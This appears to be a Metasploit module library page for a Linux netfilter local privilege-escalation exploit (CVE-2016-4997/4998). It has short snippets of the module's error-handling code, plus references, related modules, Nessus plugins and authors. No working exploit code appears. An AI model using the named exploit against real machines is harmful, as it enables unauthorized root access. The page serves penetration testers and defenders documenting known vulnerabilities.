gcc failure output: <OUTPUT>
Here is a relevant code snippet related to the "gcc failure output: <OUTPUT>" error message:
420: end
421: rm_f env_ready_file
422: register_file_for_cleanup(env_ready_file)
423: #register_file_for_cleanup(desc_file)
424: if not file_exist?(desc_file)
425: vprint_error("gcc failure output: #{output}")
426: fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
427: end
428: if target.name == "Ubuntu"
429: vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
430: elsif target.name == "Fedora"
<DESC_FILE>.c failed to compile
Here is a relevant code snippet related to the "<DESC_FILE>.c failed to compile" error message:
421: rm_f env_ready_file
422: register_file_for_cleanup(env_ready_file)
423: #register_file_for_cleanup(desc_file)
424: if not file_exist?(desc_file)
425: vprint_error("gcc failure output: #{output}")
426: fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
427: end
428: if target.name == "Ubuntu"
429: vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
430: elsif target.name == "Fedora"
431: vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created."
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12727 Merged Pull Request: Update netfilter_priv_esc_ipv4 exploit
- #10783 Merged Pull Request: Make WritableDir an advanced option
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7579 Merged Pull Request: rename netfilter_priv_esc
References
- EDB-40049
- CVE-2016-4997
- CVE-2016-4998
- https://www.openwall.com/lists/oss-security/2016/06/24/5
- http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6e94e0cfb0887e4013b3b930fa6ab1fe6bb6ba91
See Also
Check also the following modules related to this module:
- exploit/linux/local/netfilter_nft_set_elem_init_privesc
- exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
Related Nessus plugins:
- Amazon Linux AMI : kernel (ALAS-2016-718)
- Ubuntu 16.04 LTS : linux vulnerabilities (USN-3016-1)
- Ubuntu 16.04 LTS : linux-raspi2 vulnerabilities (USN-3016-2)
- Ubuntu 16.04 LTS : linux-snapdragon vulnerabilities (USN-3016-3)
- Ubuntu 14.04 LTS : linux-lts-xenial vulnerabilities (USN-3016-4)
- Ubuntu 15.10 : linux vulnerabilities (USN-3017-1)
- Ubuntu 15.10 : linux-raspi2 vulnerabilities (USN-3017-2)
- Ubuntu 14.04 LTS : linux-lts-wily vulnerabilities (USN-3017-3)
- Ubuntu 14.04 LTS : linux vulnerabilities (USN-3018-1)
- Ubuntu 12.04 LTS : linux-lts-trusty vulnerabilities (USN-3018-2)
Authors
- h00die <[email protected]>
- vnik
- Jesse Hertz
- Tim Newsham
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.